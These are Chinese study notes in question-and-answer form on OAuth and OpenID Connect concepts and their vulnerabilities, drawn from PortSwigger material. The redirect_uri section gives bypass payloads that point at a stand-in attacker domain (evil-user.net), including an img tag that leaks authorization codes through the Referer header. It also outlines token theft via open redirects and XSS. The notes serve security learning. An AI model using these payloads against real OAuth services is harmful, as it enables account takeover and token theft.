OAuth身份验证漏洞笔记
个人总结
参考:https://portswigger.net/web-security/oauth
- name: 个人总结
desc: 参考:https://portswigger.net/web-security/oauth
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# OAuth身份验证漏洞笔记
# 1OAuth身份验证基本知识
# 1、OAuth是什么?
答案
OAuth 是一种常用的授权框架,基本的 OAuth 流程被广泛用于集成的第三方功能。
- OAuth 允许用户在不公开其登录凭证的情况下,与第三方应用程序共享账户中的某些数据。例如,应用程序可能会请求访问你的电子邮件联系人列表,以便它可以向你建议要联系的人员。
- OAuth 也可以提供第三方身份验证服务,允许用户使用 不同网站上的账户(一般是社交媒体账户)登录其他网站。
最初,OAuth 2.0 是作为一种数据访问方式而开发的,用于在应用程序之间 进行特定数据的共享访问。
# 2、OAuth有哪些版本?
答案
OAuth 1.0 和 OAuth 2.0
- OAuth 2.0 是当前的标准,但一些网站仍然在使用旧版的 “1a”。
- OAuth 2.0 是从零开始编写的,而不是基于 OAuth 1.0 继续开发的。
# 3、在OAuth 2.0的工作原理中,定义了哪三方角色?
答案
OAuth 2.0 定义了三个不同 “方” 之间的一系列交互:
- 客户端应用程序 - 想要访问用户数据的网站或 Web 应用程序。
- 资源所有者 - 要被客户端应用程序访问其数据的用户。
- OAuth 服务提供商 - 网站或应用程序,控制着用户的数据及其访问。它们提供与授权服务器和资源服务器的交互 API 来支持 OAuth。
# 4、OAuth 2.0的工作流程是单一且绝对的?
判断。
答案
错误。实际的 OAuth 流程有许多不同的实现方式,这些方式被称为 OAuth “流” 或 “授权模式”。
当下比较流行的授权模式有:
- 授权码模式(最常见)
- 隐式授权模式(最常见)
- 密码模式
- 客户端模式
# 5、在OAuth 2.0授权码模式和隐式授权模式中,两者涉及哪些相同的工作阶段?
答案
- 客户端应用程序请求访问用户数据的子集,指定他们想要使用的授权模式 以及 他们想要访问的数据。
- 系统会提示用户登录 OAuth 服务,并让用户明确同意该请求的访问。
- 客户端应用程序收到一个唯一的访问令牌,该令牌证明它们有权访问所请求的用户数据。该过程具体如何发生,因授权模式而异。
- 客户端应用程序使用此访问令牌进行 API 调用,从资源服务器获取相关数据。
# 6、OAuth与身份验证之间的关系?
答案
虽然 OAuth 最初并非用于此目的,但 OAuth 也已发展成为一种对用户进行身份验证的方法。例如,你可能熟悉许多网站都有提供的选项 - 使用你现有的社交媒体帐户登录,而不必在相关网站上注册。每当你看到这个选项时,它很有可能就是基于 OAuth 2.0 构建的。
对于 OAuth 身份验证机制,基本的 OAuth 流程一般保持不变;主要区别在于,客户端应用程序如何使用它接收到的数据。从最终用户的角度来看,OAuth 身份验证的结果与基于 SAML 的单点登录(SSO)非常相似。
# 2OAuth授权模式
# 1、什么是OAuth授权模式?
答案
OAuth 授权模式(也被称为 “OAuth 流”)决定了 OAuth 流程中的确切步骤顺序,会影响客户端和 OAuth 服务之间的通信方式。有多种不同的授权模式,每种模式都有不同程度的复杂性 和 安全考虑因素。
必须先将 OAuth 服务配置为支持特定的授权模式,然后客户端应用程序才能请求并启动相应的流。客户端应用程序在发送 OAuth 服务的初始授权请求中,指定要使用的授权模式。
# 2、什么是OAuth作用域?如何实现?
答案
对于任何 OAuth 授权模式,客户端应用程序都必须指定 它将要访问哪些数据,以及要执行什么类型的操作。数据范围 和 操作范围构成了 OAuth 作用域。
可以通过 OAuth 服务授权请求中的scope
参数来实现作用域声明。
# 3、所有OAuth服务的作用域格式都是统一的?
辨析题。
答案
对于基本 OAuth 来说,由于作用域的名称只是一个任意的文本字符串,因此不同 OAuth 服务之间提供的作用域格式可能会有很大差异。例如,作用域名称可能采用以下任何形式:
scope=contacts
scope=contacts.read
scope=contact-list-r
scope=https://oauth-authorization-server.com/auth/scopes/user/contacts.readonly
2
3
4
但是,当使用 OAuth 进行身份验证时,一般会使用标准化的 OpenID Connect 作用域。OpenID Connect 预定义了一组内置的作用域,这让不同的 OAuth 服务之间可以使用统一的作用域来实现功能。
总结:OAuth 作用域格式不统一。但在某些方面,大家可以统一使用相同的作用域,促使其统一。
# 4、授权码模式的大致流程?
# 5、隐式授权模式的大致流程?
# 3OAuth身份验证漏洞
# 1、OAuth身份验证漏洞是如何产生的?
答案
- 部分原因是 OAuth 规范在设计上相对模糊和灵活。尽管每种授权模式的基本功能都需要一些强制性组件,但绝大多数实现都是完全可选的。这包括许多用于 确保用户数据安全 所必需的配置选项。简而言之,有很多机会让不良做法蔓延。
- OAuth 的另一个关键问题,普遍缺乏内置的安全功能。其安全性几乎完全依赖于开发人员,期望他们使用正确的配置选项组合,并在其中实施自己的附加安全措施,例如强大的输入验证。正如你可能已经想到的那样,有很多东西需要了解和吸收,如果你对 OAuth 没有经验,这很容易出错。
- 根据授权模式的不同,三方角色之间还可能通过浏览器发送高度敏感的数据,这为攻击者提供了各种拦截它的机会。
简而言之:
- OAuth 规范的模糊性和灵活性。
- OAuth 缺乏内置的安全功能。
- 不同授权模式的适应场景 和 安全强度也不同。
# 2、如何识别OAuth身份验证服务?
答案
- 识别网站中的登录选项,如果可以使用其他网站的帐户进行登录,则强烈表明其正在使用 OAuth。
- 识别 OAuth 身份验证的流量,在使用某个登录选项时,检查相应的 HTTP 消息。无论是哪种 OAuth 授权模式,流的第一个请求始终是对授权端点的请求,其中包含许多专门用于 OAuth 的查询参数。例如,授权请求通常看起来像这样:
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
2
# 3、识别OAuth服务后的信息侦察
在识别漏洞时,对正在使用的 OAuth 服务进行一些基本的侦察,可以为你指明正确的方向。
答案
- 如果目标使用的是第三方 OAuth 服务,则可以根据授权请求的
Host
标头识别提供商,然后寻找所提供的开发者文档。这也许会告诉你各种有用的信息,例如端点的确切名称 以及 正在使用的配置选项。 - 知道了 OAuth 授权服务器的主机名之后,你可以尝试向以下端点发送
GET
请求:/.well-known/oauth-authorization-server
/.well-known/openid-configuration
通常,这些端点会返回一个包含关键信息的 JSON 配置文件,例如 可能支持的其他功能及其详细信息。这有时会暴露更多所支持的功能 和 更广泛的攻击面,这些功能可能在文档中没有提到。
# 4、利用OAuth身份验证漏洞
# 5、如何测试redirect_uri参数中的验证缺陷?
答案
- 你应该尝试删除或添加任意路径、查询参数和片段,以测试在不触发错误的情况下,可以更改哪些内容。
- 向默认的
redirect_uri
参数中追加额外的值,利用 OAuth 服务的不同组件之间在解析 URI 时的差异。例如以下技术:https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/
。 - 检查服务端参数污染漏洞,可以尝试重复提交
redirect_uri
参数。 - 一些服务器还会对
localhost
URI 进行特殊处理,因为该值在开发过程中经常使用。在某些生产环境中,任何以localhost
开头的重定向 URI 可能会被意外允许。这可以注册像localhost.evil-user.net
这样的域名来绕过验证。 - 更多-绕过常见的SSRF防御
- 更多-CORS中的标头解析错误
# 6、如何通过代理页面窃取OAuth授权码或访问令牌?
答案
就算无法在redirect_uri
参数中提供外部域,你也可以枚举出所有允许访问的白名单域 和 路径,然后测试每个域、每个路径上是否存在次要漏洞。
- 最有用的漏洞之一是开放重定向。你可以将其用作代理,将受害者及其代码或令牌 转发到攻击者控制的域,你可以在域上托管你喜欢的任何恶意脚本。
- 处理查询参数和 URL 片段的危险 JavaScript。例如 “传递不安全 Web 消息的脚本” 可以很好地实现这一点。在某些情况下,你可能需要确定一个更长的小工具链,该链允许你通过一系列脚本传递令牌,最终将其泄露到外部域。
- XSS (opens new window) 漏洞。XSS 攻击本身可能会产生巨大影响,在用户关闭选项卡或离开导航之前,通常会有一个很短的时间区间,使攻击者可以访问用户的会话。但由于会话 Cookie 通常会施加
HTTPOnly
属性,因此大部分时候,攻击者也无法通过 XSS 来直接访问这些会话。然而,如果改为窃取 OAuth 代码或令牌,攻击者可以在自己的浏览器中访问用户帐户。这使得他们有更多的时间来探索用户数据,并执行有害操作,从而大大增加了 XSS 漏洞的严重性。 - HTML 注入漏洞。在无法注入 JavaScript 的情况下(例如,由于 CSP 约束或过滤严格),你仍然可以使用简单的 HTML 注入来窃取授权码。如果你可以将
redirect_uri
参数指向一个可以注入 HTML 内容的页面,则可以通过Referer
标头来泄露代码。例如,请考虑这个img
元素:<img src="evil-user.net">
。当网页尝试加载此图像时,某些浏览器(例如 Firefox)会在请求的Referer
标头中发送完整的 URL,包括查询字符串。
# 4OpenID Connect基本知识
# 1、OpenID Connect是什么?
答案
OpenID Connect 是 OAuth 协议的一个扩展层,它提供了一个位于基本 OAuth 实现 (opens new window)之上的专用身份和身份验证层。它通过添加一些简单的功能,以更好地支持 OAuth 在身份验证场景中的实现。
# 2、为什么需要OpenID Connect?
答案
最初,OAuth 在设计时并未考虑到身份验证。然而,许多网站开始自定义 OAuth 并将其作为身份验证机制。这些 OAuth 身份验证 (opens new window)机制看起来容易实现,但远非理想。
- 首先,客户端应用程序无法知道何时、何地以及如何对用户进行身份验证。(功能上的未知性)
- 这些实现中的每一个功能模块,都可以是某种自定义的解决方案,因此也没有为该目的而设计的一种标准方法。(没有统一标准的差异性)
- 为了正确地支持 OAuth,客户端应用程序必须为每一个提供商,分别配置单独的 OAuth 机制,因为每个提供商都有不同的端点、唯一的作用域集合等差异性。(配置上的复杂性)
而 OpenID Connect 可以添加标准化的、与身份相关的功能来解决以上绝大多数问题,使通过 OAuth 实现的身份验证能够以更可靠和统一的方式工作。
# 3、OpenID Connect与标准OAuth的区别?
答案
OpenID Connect 完美嵌入到标准的 OAuth 流 (opens new window)中。从客户端应用程序的角度来看,主要的区别在于:
- 有一组额外的标准化作用域集合,这些作用域对所有提供商都是相同的。
- 还有一个额外的响应类型:
id_token
。
# 4、OpenID Connect中定义的三方角色,和标准OAuth中定义的三方角色是否有区别?
答案
OpenID Connect 的角色与标准 OAuth 的角色基本相同。主要区别在于 - 该规范使用的术语略有不同。
- 依赖方 - 请求对用户进行身份验证的应用程序。这是 OAuth 客户端应用程序的同义词。
- 最终用户 - 正在进行身份验证的用户。这是 OAuth 资源所有者的同义词。
- OpenID 提供商 - 一个配置为支持 OpenID Connect 的 OAuth 服务。
# 5、OpenID Connect声明与作用域
答案
术语 “声明” 指的是资源服务器上的一些键值对,用于表示跟用户相关的信息。一个声明的例子:"family_name":"Montoya"
。
所有的 OpenID Connect 服务都使用一组相同的作用域集合。若要使用 OpenID Connect,客户端应用程序必须在授权请求中通过openid
来指定作用域,在其中可以包含一个或多个其他标准范围(多个范围之间通过 “空格” 来分隔):
profile
、email
、address
、phone
、......scope=openid profile
scope=openid profile email
# 6、OpenID Connect中的ID token
答案
OpenID Connect 提供的另一个主要附加功能是id_token
响应类型。它会返回经过 “JSON web signature”(JWS)签名的 “JSON web token”(JWT)。JWT 中包含初始请求的作用域声明列表,同时它还包含有关于用户上次通过 OAuth 服务进行身份验证的方式和时间信息。客户端应用程序可以使用它,来确定用户是否已经通过身份验证。
- 主要好处:减少客户端应用程序和 OAuth 服务之间发送的请求数,从而提供更好的整体性能。
- 不需要先获取访问令牌,然后再单独请求用户数据;
- 而是在用户完成身份验证时,同步将包含此数据的 ID 令牌发送给客户端应用程序。
- 安全性:ID 令牌传输时的数据完整性基于 JWT 加密签名,而不是简单地依赖于可信通道。因此,使用 ID 令牌可能有助于防范某些中间人攻击。
- 威胁性:用于验证签名的加密密钥也会通过同一网络通道传输(通常在
/.well-known/jwks.json
上公开),这使得某些攻击仍然成为可能。
OAuth 支持多种响应类型,因此客户端应用程序在发送授权请求时,可以同时发送基本 OAuth 的响应类型和 OpenID Connect 的id_token
响应类型:
response_type=id_token token
response_type=id_token code
2
# 7、如何识别OpenID Connect?
答案
- 观察授权请求中的
scope
参数,其中是否存在openid
作用域。 - 手动修改授权请求,在
scope
参数中添加openid
作用域,观察这是否会导致错误。 - 手动修改授权请求,在
response_type
参数中添加id_token
响应类型,观察这是否会导致错误。 - 查看 OAuth 提供商的文档,看看其中是否有任何关于其 OpenID Connect 支持的有用信息。
- 从标准端点
/.well-known/openid-configuration
访问其配置文件。
# 5OpenID Connect漏洞
# 1、OpenID Connect漏洞的成因?
答案
OpenID Connect 的规范比基本 OAuth 规范要严格得多,这意味着,其通常不太可能存在明显缺陷的实现。
- 但转念一想,OpenID Connect 只是位于 OAuth 之上的一层。因此,使用了 OpenID Connect 的任何 OAuth 服务以及客户端应用程序,依然容易受到标准的 OAuth 攻击。
- 还有 OpenID Connect 的一些额外功能引入的其他漏洞。